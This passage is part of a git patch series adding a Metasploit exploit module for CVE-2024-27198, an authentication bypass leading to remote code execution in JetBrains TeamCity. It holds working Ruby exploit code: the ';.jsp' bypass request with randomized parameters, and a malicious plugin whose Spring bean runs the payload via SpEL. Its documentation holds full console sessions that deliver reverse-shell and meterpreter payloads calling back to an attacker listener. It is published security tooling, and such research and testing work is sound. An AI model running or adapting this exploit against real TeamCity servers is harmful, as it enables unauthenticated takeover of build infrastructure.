send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'setEnabled', @@ -531,7 +613,7 @@ def delete_plugin(token_value, plugin_name) return false end - plugin_uuid = get_plugin_uuid(token_value, plugin_name) + plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? print_warning('Failed to discover disabled plugin UUID') @@ -543,8 +625,10 @@ def delete_plugin(token_value, plugin_name) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'keep_cookies' => true, 'headers' => { - 'Authorization' => "Bearer #{token_value}" + 'Origin' => full_uri, + 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'delete', @@ -564,7 +648,9 @@ def delete_token(token_name, token_value) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'), + 'keep_cookies' => true, 'headers' => { + 'Origin' => full_uri, 'Authorization' => "Bearer #{token_value}" }, 'vars_post' => { From b7200b52e14e2421d704db91f41f740081916add Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 27 Feb 2024 14:58:56 +0000 Subject: [PATCH 11/29] typo --- .../modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md | 2 +- modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md index f270fc484fdc..306cc38ccda3 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md @@ -1,5 +1,5 @@ ## Vulnerable Application -This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated +This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index ecd3f2108920..7fd68cf41eee 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -16,7 +16,7 @@ def initialize(info = {}) info, 'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution', 'Description' => %q{ - This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated + This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist From f0ca5c10dc23ae8eea4aa27490f3f580e8fc1abe Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 29 Feb 2024 09:13:44 +0000 Subject: [PATCH 12/29] we can shuffle thequery params so teh jsp param is not first. we can optionally add soem charachters before the trailing .jsp --- .../multi/http/jetbrains_teamcity_rce_0day.rb | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 7fd68cf41eee..5f47e342179f 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -93,10 +93,22 @@ def initialize(info = {}) # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated. def send_auth_bypass_request_cgi(opts = {}) - opts['vars_get'] = { - 'jsp' => "#{opts['uri']};.jsp" + # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp) + vars_get = { + 'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp" } + # Add in 0 or more random query parameters, and ensure the order is shuffled in the request. + 0.upto(rand(8)) do + vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16)) + end + + opts['vars_get'] = {} unless opts.key? 'vars_get' + + opts['vars_get'].merge!(vars_get) + + opts['shuffle_get_params'] = true + opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8)) send_request_cgi(opts) From fa4a16df5e5ad60338a2cc5546d85165bb85a177 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 1 Mar 2024 16:39:38 +0000 Subject: [PATCH 13/29] add in cve number --- modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb index 5f47e342179f..7456a861c13e 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb @@ -27,7 +27,7 @@ def initialize(info = {}) 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ - # ['CVE', '2024-12345'], + ['CVE', '2024-27198'] # ['URL', ''], ], 'DisclosureDate' => '2024-01-01', From 9988117cca7934c27d2ce7b6a4211246843c86da Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 1 Mar 2024 16:42:59 +0000 Subject: [PATCH 14/29] rename with cve number --- ... jetbrains_teamcity_rce_cve_2024_27198.md} | 76 +++++++++---------- ... jetbrains_teamcity_rce_cve_2024_27198.rb} | 0 2 files changed, 38 insertions(+), 38 deletions(-) rename documentation/modules/exploit/multi/http/{jetbrains_teamcity_rce_0day.md => jetbrains_teamcity_rce_cve_2024_27198.md} (85%) rename modules/exploits/multi/http/{jetbrains_teamcity_rce_0day.rb => jetbrains_teamcity_rce_cve_2024_27198.rb} (100%) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md similarity index 85% rename from documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md rename to documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md index 306cc38ccda3..7fc2d694d361 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_0day.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -23,7 +23,7 @@ Note: The check routine will display the target platform, this can be used to de command payloads are to be used. The Java payloads are platform agnostic. 1. Start msfconsole -2. `use exploit/multi/http/jetbrains_teamcity_rce_0day` +2. `use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198` 3. `set RHOST ` 4. `set target 0` 5. `set payload java/meterpreter/reverse_tcp` @@ -42,13 +42,13 @@ administrator account, the ID will be 1 by default. ### Java ``` -msf6 > use exploit/multi/http/jetbrains_teamcity_rce_0day +msf6 > use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198 [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set RHOST 192.168.86.68 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOST 192.168.86.68 RHOST => 192.168.86.68 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show targets +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show targets Exploit targets: ================= @@ -62,15 +62,15 @@ Exploit targets: 4 Unix Command -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 0 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 0 target => 0 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload java/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set LHOST eth0 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options -Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -101,7 +101,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -130,13 +130,13 @@ meterpreter > ### Java Server Page ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 1 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 1 target => 1 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload java/jsp_shell_reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options -Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -169,9 +169,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -208,15 +208,15 @@ Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CERTUTIL`. Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `%TEMP%`. ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 2 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 2 target => 2 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/ +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/ Display all 623 possibilities? (y or n) -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options -Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -255,9 +255,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.68:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Windows Server 2022. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -295,19 +295,19 @@ Note: Ensure the `FETCH_COMMAND` is set to a suitable value, such as `CURL`. Note: Ensure the `FETCH_WRITABLE_DIR` is set to a suitable value, such as `/tmp`. ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set RHOSTS 192.168.86.43 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set RHOSTS 192.168.86.43 RHOSTS => 192.168.86.43 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 3 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 3 target => 3 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set FETCH_WRITABLE_DIR /tmp +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set FETCH_WRITABLE_DIR /tmp FETCH_WRITABLE_DIR => /tmp -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options -Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -345,7 +345,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -380,13 +380,13 @@ Solaris, FreeBSD and so on. Note: Ensure the target is a Unix-like target by confirming via the `check` command. ``` -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set target 4 +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set target 4 target => 4 -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > set payload cmd/unix/reverse_bash +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > show options +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > show options -Module options (exploit/multi/http/jetbrains_teamcity_rce_0day): +Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -418,9 +418,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > check +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > check [+] 192.168.86.43:8111 - The target is vulnerable. JetBrains TeamCity 2023.11.3 (build 147512) running on Linux. -msf6 exploit(multi/http/jetbrains_teamcity_rce_0day) > exploit +msf6 exploit(multi/http/jetbrains_teamcity_rce_cve_2024_27198) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb similarity index 100% rename from modules/exploits/multi/http/jetbrains_teamcity_rce_0day.rb rename to modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb From a5fb83d0e1f1cc86fc7a07f94a47a9bf8f6a2318 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 1 Mar 2024 17:03:38 +0000 Subject: [PATCH 15/29] add in 2023.11.2 as tested on --- .../exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md | 1 + .../exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 1 + 2 files changed, 2 insertions(+) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md index 7fc2d694d361..f52185315062 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -13,6 +13,7 @@ connections on port 8111 (Older version of the product listen on port 80 by defa The exploit has been tested against: * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 + * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022 * TeamCity 2023.11.3 (build 147512) running on Linux * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 7456a861c13e..d8a4dd113198 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -36,6 +36,7 @@ def initialize(info = {}) 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. # Tested against: # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 + # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022 # * TeamCity 2023.11.3 (build 147512) running on Linux # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 'Targets' => [ From d748adcf8037ba8596a0b76ddd73a73c4bcdc208 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 4 Mar 2024 14:32:39 +0000 Subject: [PATCH 16/29] check the expected response from a patched server --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index d8a4dd113198..0f60500e6d6e 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -125,6 +125,9 @@ def check return CheckCode::Unknown('Connection failed') unless server_res + # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden) + return CheckCode::Safe if server_res.code == 403 + return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200 # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the From aac4ef09cce11956c5ce126950b179eb6af9f8a7 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 5 Mar 2024 11:09:22 +0000 Subject: [PATCH 17/29] add in disclosure date and blogs --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.md | 2 ++ .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 7 ++++--- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md index f52185315062..f5591776ca56 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -5,6 +5,8 @@ can be used to upload a plugin which contains a Metasploit payload, allowing the unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. +For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis). + ## Testing [Download](https://www.jetbrains.com/teamcity/download/) and [install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 0f60500e6d6e..677fd33555f7 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -27,10 +27,11 @@ def initialize(info = {}) 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ - ['CVE', '2024-27198'] - # ['URL', ''], + ['CVE', '2024-27198'], + ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'], + ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/'] ], - 'DisclosureDate' => '2024-01-01', + 'DisclosureDate' => '2024-03-04', 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. From b925f798e524d0f7c793ed73a08e09c6ab60d190 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 5 Mar 2024 14:39:17 +0000 Subject: [PATCH 18/29] typo and clarify description --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.md | 5 ++++- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 7 +++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md index f5591776ca56..f97dd1296b5e 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -3,7 +3,10 @@ This module exploits an authentication bypass vulnerability in JetBrains TeamCit attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist -so the exploit will instead create a new administrator account before uploading a plugin. +so the exploit will instead create a new administrator account before uploading a plugin. Older version of +Team city have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, +however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code +execution instead, as this is supported on all versions tested. For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis). diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 677fd33555f7..9804979908ca 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -20,7 +20,10 @@ def initialize(info = {}) attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist - so the exploit will instead create a new administrator account before uploading a plugin. + so the exploit will instead create a new administrator account before uploading a plugin. Older version of + Team city have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, + however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code + execution instead, as this is supported on all versions tested. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -299,7 +302,7 @@ def exploit # NOTE: We place bootstrap_ognl in a separate bean, as it this generates an exception the plugin will fail # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder # as the setExceptionListener method will accept the null value the bootstrap_ognl will generate. If we - # choose a property that does no exist, we generate a several of exceptions in the teamcity-server.log. + # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", From 5c56d6a4fce62255e693486ddfc56bb7e612adee Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 5 Mar 2024 14:47:04 +0000 Subject: [PATCH 19/29] typo --- .../exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md | 2 +- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md index f97dd1296b5e..71569ceedb02 100644 --- a/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md +++ b/documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198.md @@ -4,7 +4,7 @@ attacker can leverage this to access the REST API and create a new administrator can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older version of -Team city have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, +TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested. diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 9804979908ca..e8efed3451b0 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -21,7 +21,7 @@ def initialize(info = {}) can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older version of - Team city have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, + TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested. }, From ab0327fb33e31f5cae7ad24bcaa2f054c3252cfc Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 8 Mar 2024 15:57:46 +0000 Subject: [PATCH 20/29] clarify we are using SpEL not OGNL here --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index e8efed3451b0..e58e7530c4ae 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -297,11 +297,12 @@ def exploit payload_bean_id = Rex::Text.rand_text_alpha(8) - bootstrap_ognl = "\#{ #{payload_bean_id}.main(null) }" + # We can call the payloads main class via some Spring Expression Language (SpEL). + bootstrap_spel = "\#{ #{payload_bean_id}.main(null) }" - # NOTE: We place bootstrap_ognl in a separate bean, as it this generates an exception the plugin will fail + # NOTE: We place bootstrap_spel in a separate bean, as it this generates an exception the plugin will fail # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder - # as the setExceptionListener method will accept the null value the bootstrap_ognl will generate. If we + # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. zip_resources.add_file( @@ -312,7 +313,7 @@ def exploit xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"> - + ) ) From 0513654f10b3a2e1601e0495ef43b873c603fa79 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 8 Mar 2024 17:09:14 +0000 Subject: [PATCH 21/29] Fix edge case for java payloads when Spawn is set to 0, all access to the plugin will block. We can still get a session if we fall through here. We cant delete the plugin as access will block because we did not spawn. --- .../multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index e58e7530c4ae..135b4b5366c3 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -405,7 +405,14 @@ def exploit ) unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') + # If we configure a Java payload to not Spawn (i.e. Spawn == 0), the call to load the plugin will block, + # and we get nil as the response due to timeout. We still get a session, so just print a warning and 